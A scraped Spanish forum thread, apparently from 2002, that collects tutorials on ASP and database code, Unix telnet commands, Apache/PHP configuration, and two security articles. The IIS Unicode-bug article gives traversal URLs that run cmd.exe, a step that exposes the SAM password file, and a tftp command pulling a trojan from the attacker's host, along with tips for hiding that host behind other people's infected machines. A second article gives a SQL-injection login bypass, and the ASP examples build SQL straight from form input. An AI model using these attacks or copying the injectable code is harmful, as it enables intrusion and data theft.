Application.unlock

El objeto Server:

Propiedad:

ScriptTimeOut --> tiempo en segundos para ejecutar una página, sino lo hace en este tiempo da error. (Es como el max_execution_time = 30 del PHP)


CreateObject -> Crear objeto com

(Objeto COM --> objetos dentro de dlls que se encuentran en el directorio windows, y quedan para todas las aplicaciones windows. Se registran en el sistema, y cualquier programas puede acceder a ellas.

Execute -> ejecutar un ASP
GetLastError -> Último error
MapPath -> Carpeta física
HtmlEncode -> Codificar para HTML
UrlEncode -> Codificar una URL


Ejemplo:

El directorio raiz es:
<%=server.mappath("/") %>

Codigo sin codificar
<% response.write(" si a<b r>c") %>

Codigo codificado
<%=server.htmlencode(" si a<b r>c") %>

Prueba URL

<%=server.urlencode("dir=c/del carmen,25") %>

= sirve para response.write


Transfer -> redirecciona a otra página.


Objeto Request y Response


Request -> obtener variables
Response -> escribir valores

TotalBytes -> los bytes enviados al cliente en la petición.

ClientCertificate -> certificados
Cookies -> cookies
Form -> valoers formulario
QueryString -> valor URL
ServerVariables -> variables servidor


Ejemplo:

(Enviar la cookie antes de nada, o sea arriba de todo)
<% response.cookies("Cantidad")=5 %>

El valor de la cookie es:

<%=request.cookies("Cantidad") %>

Ejemplo Formulario:

<form name="form1" method="post" action="mostrar.asp">
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre
<input type="text" name="nombre">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Dirección
<input type="text" name="dire">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Teléfono
<input type="text" name="tel">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="submit" name="Submit" value="Submit">
</font></p>
</form>

---------------------------------------

Su nombre es: <%=request.form("nombre")%>
Su dirección es: <%=request.form("dire")%>
Su teléfono es: <%=request.form("tel")%>


Si el form method="get" entonces no podemos hacer request.form, sino querystring.

method="post" -> request.form
method="get" -> querystring

path_info
path_translated -> direccion fisica del disco duro
query_string -> cadena con parametros
remote_addr -> IP
remote_host -> Nombre de la maquina
request_method -> get o post
script_map -> base del URL
script_name -> ruta virtual
server_port -> puerto servidor
server_port_secure -> puerto SSL
server_protocol ->protocolo de comunicaciones
url -> URL
server_software -> servidor

Server Variables

Ejemplo Info.asp

<%=request.servervariables("server_port") %>
<%=request.servervariables("path_info") %>
<%=request.servervariables("server_software") %>
<%=request.servervariables("server_protocol") %>
<%=request.servervariables("script_name") %>
<%=request.servervariables("remote_host") %>
<%=request.servervariables("remote_addr") %>

etc,etc,etc

Objeto Response

Buffer -> cierto o falso (si es cierto hasta que no se acabe de ejecutar la pagina no se envian los datos, si es falso se va enviando) O todo o nada, si tenemos 50 registros, si el buffer esta true, o nos enseña los 50 o ninguno, si esta en false, nos enseña 10 por ejemplo.
CacheControl -> especificar si la pagina se guardará en caché en el proxy.
Expires -> tiempo que tiene que almacenarse esta pagina en caché.

AppendToLog -> se guardara en el fichero log del servidor.
Clear -> nos borra el buffer
End -> terminamos la pagina, y se envia este el buffer esta true o no.
FlusH -> envia lo que hay en el buffer, si esta true
Redirect -> redirecciona la pagina a otro sitio
Write -> para escribir
Coookies -> colección de galletas

Ejemplo:


<%
For x=1 to 1000
response.write (x)
response.write ""
next
%>

Va saliendo....

Y ahora

<%
response.buffer=true
For x=1 to 1000
response.write (x)
response.write ""
next
response.end
%>

Sale de golpe!!!

Más ejemplos:

login.htm
------------------------------------
<html>
<head>
<title>- Login </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="comprobar.asp">
<table width="41%" border="0" cellspacing="0" cellpadding="0" bgcolor="#999999" align="center">
<tr bgcolor="#333333">
<td colspan="3"> </td>
</tr>
<tr>
<td width="19%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre</font></td>
<td width="55%">
<input type="text" name="nombre" maxlength="10">
</td>
<td width="26%" rowspan="3"> </td>
</tr>
<tr>
<td width="19%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Password</font></td>
<td width="55%">
<input type="password" name="pass" maxlength="20">
</td>
</tr>
<tr>
<td width="19%"> </td>
<td width="55%">
<input type="submit" name="Submit" value="Enviar">
</td>
</tr>
</table>
</form>
</body>
</html>
------------------------------------

comprobar.asp
------------------------------------
<%
if (request.form("nombre")="pepe") and (request.form("pass")="pepe") then
Session("nombre")=request.form("nombre")
response.redirect("correcto.asp")
else
response.redirect("incorrecto.asp")
end if
%>
------------------------------------

correcto.asp
------------------------------------
<%
response.write("Bievenido"&Session("nombre"))
%>
------------------------------------

incorrecto.asp
------------------------------------
<%
response.write("No tienes acceso")
%>
------------------------------------

Teoría:

En el IIS 5.0
ASP Error

ASPCode
Number
Description
File
Line
Column
Source
Category

variable+Error=server.getLastError

Página que abre el servidor cuando hay un erorr --> 500-100.asp

Conexiones con bases de datos

-> ODBC --> se puede conectar con cualquier base de datos que acepte ODBC


¿ Qué es el OBDC ? -> Conexión base de datos a través de Windows. Object Data Base Conection.

ADO -> colección de objetos para conectarse a la BD. WorkSpace, Recordset, etc

Primer paso:

Vamos a crear una base de datos con access:

clientes

IDCliente (autonúmerico)
Nombre
Direccion
Telefono

Clientes.mdb

Configuración
Panel de Control
Fuentes de datos ODBC

Data Source Name (DSN)

DSN Usuario
DSN Archivo (solo de un archivo)

DSN Usuario --> Agregar, Microsoft Acces-Driver, Nombre del Origen Clientes, Base de Datos (Seleccionar y cogemos cliente.mdb, en avanzadas podemos poner password, etc.

Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;UID=Nombre_usuario;PWD=Password;"

a-> Crear RecordSet
set mirs=con.execute("Select * from clientes") -> es como un mysql_query

mirs.eof
mirs.movenext
mirs("Nombre")
etc

b-> Ejecutar una consulta
con.execute=("Update...")

Variable de aplicación mejor, ponerlo en el global.asa, y luego llamarlo con un include.

response.write(mirs("Nombre"))

Ejemplo:

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

set mirs=con.execute("Select * from clientes")

do until mirs.eof
response.write(mirs("Nombre"))
mirs.movenext
loop

%>

Para actualizar y borrar registros:

conexion.asp

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

set mirs=con.execute("Select * from clientes")

do until mirs.eof

response.write("<form method=post action=edit.asp>")
response.write("<input type=hidden name=id value="&mirs("IDCliente")&">")
response.write(mirs("IDCliente"))
response.write("")
response.write(mirs("Nombre"))
response.write("")
response.write(mirs("Direccion"))
response.write("")
response.write(mirs("Telefono"))
response.write("")
response.write("<input type=submit value=Editar>")
response.write("</form>")
response.write("<hr>")
mirs.movenext
loop

%>

edit.asp

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

if request.form("Borrar")="Borrar" then
set mirs=con.execute("DELETE from clientes where IDCliente="&request.form("id")&"")
response.write ("Eliminado")
else
if request.form("Actualizar")="Actualizar" then
set mirs=con.execute("UPDATE clientes SET Nombre='"&request.form("Nombre")&"', Direccion='"&request.form("Direccion")&"', Telefono='"&request.form("Telefono")&"' where IDCliente="&request.form("id")&"")
response.write ("Actualizado")
else
set mirs=con.execute("Select * from clientes where IDCliente="&request.form("id")&"")

response.write("<form method=post>")
response.write("<input type=hidden name=id value="&mirs("IDCliente")&">")
response.write ("Nombre: <input type=text name=Nombre value="&mirs("Nombre")&">")
response.write("")
response.write ("Dirección: <input type=text name=Direccion value="&mirs("Direccion")&">")
response.write("")
response.write ("Telefono: <input type=text name=Telefono value="&mirs("Telefono")&">")
response.write("")
response.write("<input type=submit name=Actualizar value=Actualizar>")
response.write("<input type=submit name=Borrar value=Borrar>")
response.write("</form>")

end if

end if
%>

Funciones

var=array(1,2,3)

Join(matriz,caracter)
Join --> una matriz en una cadena
Split(cadena,delimitador)
Split --> una cadena la convierte en array


(Bod,Byte,CCur,CDate,CDBl,Chr,Clnt,Clong,Str) -> nos convierte cualquier variable en un tipo que le digamos

chr.Asc --> código ASCII

Funciones de Fecha
Time()
Now() --> fecha y hora actual

Date()

DateAdd(Internal,Cantidad,Fecha) --> suma la fecha que le digamos

Day(Fecha) Month(fecha) Year(fecha)
hour(fecha) minute(fecha) second(fecha)

DatePart(Inervalo,Fecha) --> q (cuarto trimestre) w (semana) y (dia del año) ww (semana del año)

FormatDateTime(fecha,formato) -> formatear una fecha o una hora
FormatDateTime(fecha,1)
FormatDateTime(fecha,2)
etc

InputBox(texto,titulo,valorpred,xpos,ypos)

InStr([conocimiento],cadena1, cadena2) -> buscar una cadena en otra (buscamos la cadena 2 en la cadena 1

Left(cadena,longitud)
Right(cadena,longitud)
Mid(cadena,longitud)

Obtener partes de una cadena
346  Informática / Tutoriales - Documentación / Resumen Curso Telnet/Shell por Infohackers.org en: 28 Agosto 2002, 15:58 pm
ALGUNOS COMANDOS UNIX PARA EMPEZAR CON UNA SESION TELNET
Nota inicial: En Unix las mayúsculas y minúsculas son letras distintas. No es lo mismo 'dir' y 'DIR'.



Ayuda:
$ man Sobre el 'man'
$ man comando Ayuda de ese comando
$ man -k palabra_clave Busca por palabra clave

Tratamiento de ficheros:
$ cd directorio Cambia de directorio
$ cd .. Pasa al directorio superior
$ cd Pasa al directorio inicial
$ pwd Indica directorio actual

$ ls Muestra los ficheros del directorio ('dir')
$ ls -l dir completo: fecha, usuario, tamaño
$ mkdir directorio Crea un directorio
$ rmdir directorio Borra el directorio

$ rm fichero Borra un fichero ('del')
$ cp fich1 fich2 Copia fich1 como fich2 ('copy')
$ more fich Muestra el fichero pag a pag
$ cat fich ('type')
$ mv fich1 fich2 Renombra fich1 a fich2 ('ren')

En cualquier punto, completa el nombre o pita si hay posibilidad de varios. Para ver posibles nombres, Ctrl-D. Ctrl-e se posiciona a final de línea; Ctrl-a al principio.

Otros comandos:
$ whoami Indica quién eres
$ su - usuario Pide password, y pasa a ese usuario
$ telnet maquina Para conectarse a esa maquina

· Si da un error como: "connect(): Connection refused" se debe usar ' elnet'

$ history Muestra todo lo hecho
$ !numero Ejecuta ese comando
$ !v Ejecuta el "útimo comando que empieza por 'v'
$ passwd Cambio de password
$ finger Usuarios conectados de todo el departamento
$ finger usuario Para ver si está un usuario
$ talk usuario@maquina Para hablar con otro usuario



· Redireccionamiento de la salida:
Si se desea que la salida de un comando quede en un fichero:
$ comando > fich_salida
· Imprimir:
$ lpr nombre-fichero
Correo:

$elm
m) enviar un mensaje
return) ver el marcado
d) borrar el marcado
r) responder al marcado
f) forward del marcado
q) salir








Edición:
$emacs


Este texto ha sido extraido de http://www.infohackers.org/article.php?sid=239&mode=thread&order=0

Gracias a http://www.infohackers.org
347  Informática / Tutoriales - Documentación / El bug del UNICODE en: 28 Agosto 2002, 15:57 pm
Fuente: Datahack.com Autor: Donatien

El bug del UNICODE
Qué es
Implicancias
En qué consiste realmente este bug?
Exploit
Lo que se puede llegar a hacer con un server que tenga el bug
Lo que supuestamente NO se puede hacer
Formas de evitar estas limitaciones
Cómo proteger a un servidor de esta vulnerabilidad
Parches de Microsoft que están disponibles


Qué es
El día 20/10/2000 Hispasec informó una de las vulnerabilidades más graves que podían afectar al Internet Information Server de Microsoft. Debido a ella, era posible ejecutar cualquier comando DOS en el servidor vulnerable casi tán fácilmente como en una consola de DOS por telnet.

(Nota publicada por Hispasec: http://hispasec.com/unaaldia.asp?id=726)

Implicancias
Traduciendo esto al lenguaje cotidiano, hay que decir que el 40% de los servidores web de la red se volvieron tán fáciles de hackear que cualquier aprendiz de hacker podía tomar el control completo del mismo.

(Haga click aquí para ver la galería de los sites hackeados)

En qué consiste realmente este bug?
Técnicamente hablando, el bug del Unicode consiste en un error por parte de los programadores de Internet Information Server de Microsoft, debido a que cada vez que un visitante solicita un archivo del servidor, IIS evalúa primero la cadena de la URL pedida en función de controlar que no escapen del árbol de directorios compartidos en el site (generalmente c:inetpubwwwroot), y recién después de realizada esta comprobación (altamente rigurosa y crítica para la seguridad del servidor) se traducen los caracteres especiales que el usuario envió codificados de acuerdo al set internacional conocido como Unicode.

Esto significa que (por ejemplo) el url:
http://www.servidor.com/scripts/..%c1%9c../autoexec.bat
sería evaluado por IIS y éste llegaría a la conclusión de que el visitante está pidiendo un archivo del directorio virtual "/scripts", intentando encontrar dentro de éste un subdirectorio llamado ..%c1%9c.. y dentro de él, el archivo autoexec.bat.
Pero a continuación, se realiza la interpretación de los códigos Unicode "%c1%9c" (que representan la barra) y el archivo que IIS le pediría al sistema operativo sería c:/inetpub/wwwroot/scripts/../../autoexec.bat, pero como scripts es un directorio virtual, el archivo sería c:/inetpub/wwwroot/../../autoexec.bat, es decir c:autoexec.bat.

Ya de por sí, esto es tan grave como dejar que cualquier persona pueda bajar el archivo de passwords del servidor con sólo conocer su ubicación por defecto, pero se ve extremadamente agravado por la forma en que IIS procesa los permisos de ejecución de los directorios, ya que "scripts/" tiene por defecto permisos de ejecución de CGI's y archivos ejecutables ISAPI, lo cual desemboca en la posibilidad de ejecutar programas en el servidor.

Como si esto fuera poco, al poder ejecutar el archivo cmd.exe (equivalente al command.com del viejo DOS) y pasarle a éste como parámetro la orden de que ejecute cualquier otro comando interno o externo, se tiene algo CASI tán versátil como una consola DOS por telnet.

Exploit
Básicamente, el exploit es tán sencillo como tipear lo siguiente en la linea de direcciones del explorador:

http://www.servidor.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:

y como respuesta obtener el listado del raíz del disco C:

En base a esta terrible negligencia de Microsoft, muchos "hackers" (con mínimos conocimientos de programación y redes) fueron capaces de hacer sus propios "exploits" (programas diseñados para aprovechar la vulnerabilidad)

Datahack también tiene una suite de esos programas, (gentileza de SSH Team) pero hemos decidido no difundirlo aún porque todavía es muy fácil encontrar servidores vulnerables, y hacer con éllos prácticamente lo que uno desee.

URL Scanner, de SSH Team:
Utilidad capaz de encontrar servidores vulnerables al bug del Unicode dando un ampli rango de IP's a escanear. (Tambien encuentra los servidores no vulnerables)




Uniconsole, de SSH Team:
Utilidad que permite explotar el bug casi como si se tratase de una linea de comandos de DOS, con el adiocional de que se conecta a través de un proxy norteamericano, es decir, de manera totalmente anónima, pero también más lenta.


Lo que se puede llegar a hacer con un server que tenga el bug
Dependiendo de cómo estén configurados los permisos de los directorios del servidor, el hacker tendrá un mayor o menor rango de acción.

IIS accede al disco (directorios y archivos) utilizando un usuario especial, generalmente llamado IUSR_NOMBREMAQUINA (por supuesto que NOMBREMAQUINA es distinto cada vez, y se corresponde justamente con el nombre de esa máquina).

El asunto es que en los casos en que IUSR_NOMBREMAQUINA tenga acceso total al disco, el server estará a total disposición del hacker, para cambiar o borrar cualquiera de sus archivos, Robar información y eliminar sus huellas.

Pero si el administrador del sitio tomó la precaución de quitarle a IUSR_NOMBREMAQUINA todo permiso de escritura en el arbol de wwwroot y todo permiso (de lectura y escritura) al resto del disco (o discos) el servidor estará a salvo de modificaciones y/o destrucción de archivos, pero no aún del robo de información.

Lo que supuestamente NO se puede hacer
A primera vista, no se pueden subir ni bajar archivos del servidor, ya que DOS no provee programas de línea de comando que se manejen con parámetros y establezcan y mantengan una conexión TCP/IP hasta enviado o recibido un archivo.

Si bien existe el programa FTP, que se maneja desde la línea de comandos, éste no permite especificar todos los datos cómo parámetros y llevar a cabo toda la transacción en un solo paso. Recordemos que este bug no dá al hacker un Telnet al DOS, sino "CASI" un Telnet al DOS. La diferencia es que con el bug del unicode cada vez que el hacker envía un comando DOS, este se ejecuta en una sesión totalmente distinta de la que ejecutó el comando anterior, y todo programa que se ejecute en esta particular consola deberá resolverse desde el principio hasta el final en una sola línea.

Un agravante es que este sistema no permite ningún tipo de redireccionamiento del input ni del output. (De otra forma sería muy fácil

Formas de evitar estas limitaciones
Encontrar la forma de bajar algo es muy fácil, y se hace muy evidente para cualquiera que preste un poco de atención. Alcanza con copiar el archivo que queramos bajar al directorio compartido por web, por ejemplo:
copy c:winntrepairsam._ c:inetpubwwwroot
que se ejecuta solicitando el url
http://www.server.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy c:winntrepairsam._+c:inetpubwwwroot
y luego sólo resta bajar con el navegador el archivo http://www.server.com/sam._


Arreglarselas para subir algo es algo mucho más complicado. Ya expliqué en el punto anterior que el método más evidente (el del comando FTP) no sirve en este caso.

Para ello se puede utilizar una variante que Windows NT y 2000 traen también por defecto en su instalación, llamada TFTP (Trivial FTP). La complicación extra es que el cliente TFTP no puede conectarse con cualquier servidor de FTP, sino con un servidor TFTP propiamente dicho.

De todas formas, encontrar un servidor TFTP no es demasiado difícil. Por ejemplo, el TFTP Daemon 32 es muy conocido, y se puede encontrar en http://ftp://ftp.cavebear.com/karl/tftpd32.zip

Una vez que lo tiene instalado, el hacker puede bajar un troyano al servidor desde su propia PC, ejecutando el comando "tftp.exe -i XXX.XXX.XXX.XXX GET troyano.exe" (claro que las X representan el IP del hacker).

Esto acarrea un inconveniente: hasta ahora el hacker podía ocultar su identidad con un simple proxy http, pero luego de esta maniobra de "upload" su IP quedará registrado en los logs del servidor. Los hackers suelen evitar esto usando un troyano en la PC de otra persona, redireccionando algunos puertos de la víctima a la porpia PC, y conectando el TFTP del server al IP de la víctima en lugar del propio. De esta forma el IP que queda registrado es el de la persona que tenía el troyano funcionando en ese momento.

Cómo proteger a un servidor de esta vulnerabilidad
Hay una serie de pasos necesarios para evitar esta vulnerabilidad:


1) Eliminar del IIS todos los directorios virtuales (scripts, msadc, iisadmpwd, etc, que generalmente no se usan)
2) Quitar a todos los directorios que lo tengan el permiso de ejecución de CGI's e ISAPI, dejando sólo el permiso de ejecución de scripts. (que suele ser suficiente para todo site basado en páginas ASP)
3) Quitar todo permiso de escritura al usuario IUSR_NOMBREMAQUINA dentro del arbol de wwwroot, y todo permiso (lectura y escritura) fuera de ese arbol de directorios.
4) Instalar Windows y los directorios compartidos en lugares diferentes de los que vienen por defecto (en otras palabras, evitar usar c:winnt y c:inetpub)
5) Cambiar el nombre al archivo cmd.exe
Parches de Microsoft que están disponibles
En el sitio web de Microsoft se pueden bajar parches para algunas versiones de IIS, sin embargo a la fecha de esta publicación aún no está disponible el parche para la versión en castellano de IIS, por lo cual se recomienda tomar las medidas enumeradas en el punto anterior.

http://www.datafull.com/datahack/notas/nota.php?codigo=8
348  Informática / Tutoriales - Documentación / Acceso a webs ASP restringidas en: 28 Agosto 2002, 15:57 pm
Fuente: Hispahack Autor: MiST

Acceso a webs ASP restringidas
Antes que nada me gustaría decir que este artículo ha sido inspirado en el escrito de rain.forest.puppy "NT Web Technology Vulnerabilities" publicado en la Phrack número 54.

Las Active Server Pages (ASP) son paginas creadas en lenguaje visual basic script, además de los usuales tags html, las cuales son ejecutadas en el servidor y sus respuestas son enviadas al browser cliente. Normalmente se utilizan para hacer consultas a un motor de base de datos con driver ODBC, de ese modo pueden crearse páginas dinámicas de una forma muy sencilla.

Cada vez son más las empresas que apuestan por esta tecnología aunque, como explicaré seguidamente, en algunos aspectos hay que programarlas concienzudamente para evitar posibles intrusiones en la parte restringida del web.

Vamos al grano: Imaginemos una web de acceso restringido cualquiera, digámosle login.asp, donde hay que rellenar dos campos de texto de un formulario uno con el login y otro con el password. En el action del formulario hay chek_passwd.asp. El código asp de la consulta y acceso a datos de esta página sería mas o menos el siguiente:


Vamos a comentarlo un poco. Las marcas indican principio y fin de código a interpretar por el server por lo tanto código que el cliente no verá.

ConsultaSQL="SELECT * FROM tabla_de_usuarios WHERE login='" & _ request.querystring("login") & "' AND password='" & _
request.querystring("password) & "'"

Se carga en la variable ConsultaSQL la consulta (SQL claro).

SELECT * 'Selecciona todos los campos
FROM tabla_de_usuarios 'de la tabla de usuarios
WHERE login= 'que el login sea igual a
' 'inicio de cadena a comparar
"& 'inicio de variable
1_ 'continua en la siguiente línea
request.querystring("login") 'variable login pasada desde el formulario de la página
&" 'fin de variable
' 'fin de cadena a comparar
AND 'y lo mismo con la variable password mandada desde el formulario.


La consulta hablada seria "Seleccionar todos los campos de la tabla de usuarios donde el login sea el nombre introducido en el formulario y el password sea el password introducido en el formulario".

Prosigamos:

Set Conn = Server.CreateObject("ADODB.Connection")

Crea un objeto de conexión a datos ADODB el nombre del cual es Conn.

Conn.Open "DSN=websql;UID=Uid_page;PWD=pwd_page;DATABASE=page"

Abre la conexión con todos los parámetros necesarios para ello, servicio de datos, uid, password y base de datos.

Set recst = Server.CreateObject("ADODB.RecordSet")

Crea un objeto recordset llamado recst.

recst.ActiveConnection=Conn

Indica la conexión por la que el recordset se instanciará.

recst.Open ConsultaSQL

Instancia el recordset con los resultados de la consulta SQL vista anteriormente. Este recordset se utilizará ahora para generar las páginas dinámicas de la cuenta del usuario dentro del web, o si el recordset no se instancia con nada (login y/o password incorrecto), saldrá una página de error.

Y dónde está el problema? Muy señores míos, el problema se encuentra en el carácter ' . Si, tan pequeñito como es el delimitador de cadena a comparar es muy peligroso si no se controla ya que imaginemos que en el textbox del formulario donde piden el login ponemos la cadena:

loquesea' x

y en el password ponemos cualquier cosa, la página si no está bien programada nos dará la siguiente respuesta:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'x'.
/chek_passwd.asp, line 18

Con un poco de intuición podemos suponer que esta línea 18 coincide con la línea:

request.querystring("login") & "' AND password='" & _

ya que al instanciarse las variables del formulario la consulta quedará:

"SELECT * FROM tabla_de_usuarios WHERE login='loquesea' x'
AND password='qualquiercosa'"

Como vemos el formato de la consulta queda erróneo debido a los caracteres x' . Nuestro objetivo será pues sustituir estos caracteres erróneos por otros que puedan ser interpretados correctamente como consulta SQL, y que, de paso, nos de de retorno en el recordset datos válidos de la base de datos para entrar en el web. En mi opinión, muy cuestionable por cierto, una buena cadena sería:

loquesea' or nombre_atributo_bd like '%letra o numero%' or nombre_atributo_bd='algo

Ejemplo:

loquesea' or login like '%a%' or login='algo

De ese modo la consulta nos quedará:

"SELECT * FROM tabla_de_usuarios WHERE login='loquesea'
OR login like '%letra o numero%' OR login='algo'
AND password='qualquiercosa'"

Tengo que remarcar que letra o numero es una letra o un numero cualquiera, por ejemplo a (de administrador ). Esta consulta junto con el resto de código que le sigue nos dará un recordset con todos los datos de un usuario que su login contenga una a (si ponemos a), y por lo tanto entraremos en su cuenta dentro del web. Como veis el error se da por un descuido de programación, que, acompañado con una mala administración del IIS donde se alberga la página y un diseño poco cuidado de la misma, entrar en una web restringida puede ser muy sencillo. Una pregunta que podríamos hacernos una vez leído esto es: ¿Y cómo sé el nombre del atributo de la base de datos que contiene el nombre de usuario? En el ejemplo he utilizado login, pero es verdad, no hay modo de saberlo de una forma segura, aunque normalmente los programadores de asp cometemos el error de bautizar los textbox de los formularios con el mismo nombre que el atributo equivalente en la bd y solo con un vistazo al código html visible se puede deducir. Si eso no funciona siempre queda probar con los nombres típicos login, user, usuario, idusuario, etc.


SOLUCIÓN:

Para solucionar esta vulnerabilidad sólo hay que poner una pequeña rutina en javascript o en vbscript que mire las cadenas contenidas en las variables del request.querystring controlando que no contengan ninguna comilla. No estaría de más, pero, delimitar los textbox del formulario con maxlength para que no puedan introducirse cadenas demasiado largas. Eso no és ninguna solución definitiva, el atacante siempre podrá llamar al asp vulnerable desde la barra del browser o desde una copia local del web modificado, pero la cuestión és intentar hacer el trabajo del atacante lo más molesto posible. Tampoco estaría de más configurar el IIS para que al producirse un error dé como respuesta una página estándar de fallo y no la típica página que te dice el número de error y te chiva una parte del código del fichero asp. De ese modo el atacante no podrá disponer de información, como partes de la consulta, motivos del fallo, etc, que podría utilizar en su beneficio.

MiST

http://hispahack.ccc.de/mi027.htm
 
349  Informática / Tutoriales - Documentación / Instalar Apache. PHP, MySQL en Linux + Configuración Avanzada en: 28 Agosto 2002, 15:56 pm
Versión  1.60

1) Configuración avanzada Apache
2) Configuración avanzada PHP + Seguridad en PHP
3) Instalación y configuración bajo Linux
4) Optimizando el Apache, el PHP y el MySQL
5) Evitando Ataques al Apache
6) Protegiendo ancho de banda
7) Autorización en Apache
8) Apache con una dirección IP dinámica

=====================================================================

1) Configuración avanzada Apache

Módulos Apache:

mod_auth_anon: permite a usuarios anónimos acceder a áreas autentificadas.
mod_auth_dbm: proporciona autentificación utilizando ficheros DBM.
mod_auth_digest: autentificación de usuario utilizando MD5.
mod_cern_meta: semántica de etiquetas meta del CERN.
mod_expires: cabeceras http expires.
mod_headers: personalización de las peticiones http y cabeceras.
mod_info: visión comprensiva de la configuración del servidor.
mod_mime_magic: determina el tipo de MIME de un fichero.
mod_proxy: Servidror HTTP/1.1 proxy/gateway
mod_rewrite: proporciona un motor de re-escritura basado en reglas.
mod_speling: intenta corregir “faltas” en las URL, ignorando mayúsculas, etc.
mod_status: informaicón y rendimiento del apache
mod_unique_id: variables del entorno
mod_usertrack: registro de actividad de un usuario
mod_vhost_alias: Configurar servidores virtuales dinámicamente
mod_proxy_balancer Funciones del balanceador para el módulo proxy
mod_proxy_http Soporte Http para el módulo proxy
mod_cache Módulos de caché genérico
mod_disk_cache Caché de ficheros para el módulo caché
mod_deflate Módulo de compresión de contenido


Ahora vamos a ver un poco con profundidad todas las opciones de configuración:


Archivos que necesitamos:

httpd.conf de la carpeta conf del apache
php.ini de c:Windows para configurar el PHP

Opciones del Apache httpd.conf

Básico:
# = Línea comentada, por lo tanto el apache no la coge.

# Dynamic Shared Object (DSO) Support --> Aquí se cargan los módulos de apache.

Ejemplo:
#LoadModule vhost_alias_module modules/mod_vhost_alias.so

LoadModule Nombre Ruta

Como ya hemos dicho antes, para carga el PHP:
LoadModule php4_module f:/php/sapi/php4apache.dll

Despues de hacer el LoadModule necesitas añadirlo con el AddModule

ClearModuleList
AddModule mod_php4.c

=====================================================================

Configuración general


ServerRoot "C:/Archivos de programa/Apache Group/Apache" --> donde esta instalado el Apache, y de donde cuelgan las demas carpetas.

PidFile logs/httpd.pid --> por si cerramos el apache mal nos lo guarda aqui.

Timeout 300 --> contra más grande sea, el apache no dara mensaje de timeout aunque tarde mucho en cargar una página.

MaxKeepAliveRequests 0 -->poner a 0 para ponerlo ilimitado. Se trata de mantener una conexión "viva" en el Apache. Es decir, un cliente está vieno la web y su "petición" se queda "viva" por si vuelve a pedir otra petición (GET, etc). De esta manera la petición es más rápida, pero también se quedan más conexiones "abiertas" en el Apache.

KeepAliveTimeout 15 --> Número de segundos que se espera el Apache para cerrar una conexión que está activa (pero en espera) y sin hacer nada (no está enviando datos) (leer arriba).

MaxRequestsPerChild 0 --> 0 para ilimitado.

Port 80 --> puerto por defecto del apache y de cualquier servidor web. Si pones otro puerto luego tendrás que escribir en el navegador ww.pepito.com:puerto

ServerAdmin el-brujo@elhacker.net --> tu email

ServerName localhost --> tu ip, o mejor localhost sino tienes ip fija. En caso de tener dominio poner el nombre de tu dominio.

DocumentRoot "C:/web" --> donde tienes la web, es decir las paginas que quieres que se vean en el navegador.

Opciones de un directorio individual:

ALL --> todas las opciones excepto MultiViews

ExeCGI --> se permite la ejecuación de scripts cgi.

Includes --> se permiten includes

IncludesNOEXEC -> ser permiten includes pero no se precesan #exec ni #include

MultiViews --> permite al servidor seleccionar el documento que mejor responda  a la petición del cliente (para mas info --> http://www.apache.org/docs/content-negotation.html

SymLinkslfOwnerMatch --> permite al servidor seguir un enlace simbólico si el destino del enlace y el enlace son del mismo propietario.

<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>

--> esto sirve para decirle que el Document Root (/) o sea c:/web no nos enseñe las carpetas ni su contenido, sino que coge el archivo que le decimos en directory index (luego lo veremos).

Si queremos que nos liste el contenido hay que comentarlo:

#<Directory />
# Options FollowSymLinks
# AllowOverride None
#</Directory>

o cambiarlo por:

<Directory />
Options +Indexes FollowSymLinks
AllowOverride None
</Directory>


http://httpd.apache.org/docs/mod/mod_autoindex.html


Para que esto se entienda pongo un ejemplo:

Podemos "proteger" la carpeta images (tenemos que tener c:/web/images)
para que cuando alguien esriba http://localhost/images) no le muestre el contenido de esa carpeta (sale un Permission Deneid), pero eso no quiere decir que las imagenes que estan en ses directorio
no vayan a ser visible, si hacemos http://localhost/images/banner.gif si nos enseña el banner.

Ejemplo:
<Directory /images>
Options FollowSymLinks
AllowOverride None
</Directory>

Options FollowSymLinks --> se trata de permitir enlaces simbólicos, o sea si un directorio tiene tales permisos, los siguientes directorios que cuelguen heredan las misma configuración.

Haz pruebas para ver la diferencia porque no me he explicado muy bien...

<Directory "C:/Archivos de programa/Apache Group/Apache/htdocs"> --> escribe aquí lo mismo que en el document root, ya que son los permisos básicos y por defecto.


<IfModule mod_dir.c>
DirectoryIndex index.html index.php default.htm
AddType application/x-httpd-php .php
</IfModule>


Se pueden ir añadiendo una al lado de otra: index.php index.php3 ,etc o una debajo de otra

index.php
index.php3
index.shtml

En DirectoryIndex se definen las páginas que cogera por defecto, es decir:

Si existe c:/web/index.html nos coge por defecto esa página, asi que no hace falta poner http://localhost/index.html, sinó que basta con poner http://localhost (que nos llevará a index.html)

Y lo mismo pasa si hay carpetas, directorios, si en c:/web/pruebas/ hay un archivo llamado index.html nos coge ese por defecto

SetHandler vs AddHandler

El problema es que hay en internet miles de sitios que recomienda esta configuración vulnerable con AddHandler o AddType:

Código:
AddHandler php5-script .php

La opción recomendada y más segura para "ejecutar" los ficheros php en Apache es con FilesMatch:

Código:
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>


Apache httpd.conf

Código:
# inseguro .php.txt
#AddType application/x-httpd-php .php

# seguro
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>



Antes:

Código:
AddHandler php5-script .php

Ahora la opción recomendada y más segura para "ejecutar" los ficheros php en Apache es con:

Código:
<FilesMatch \.php$>
    SetHandler application/x-httpd-php
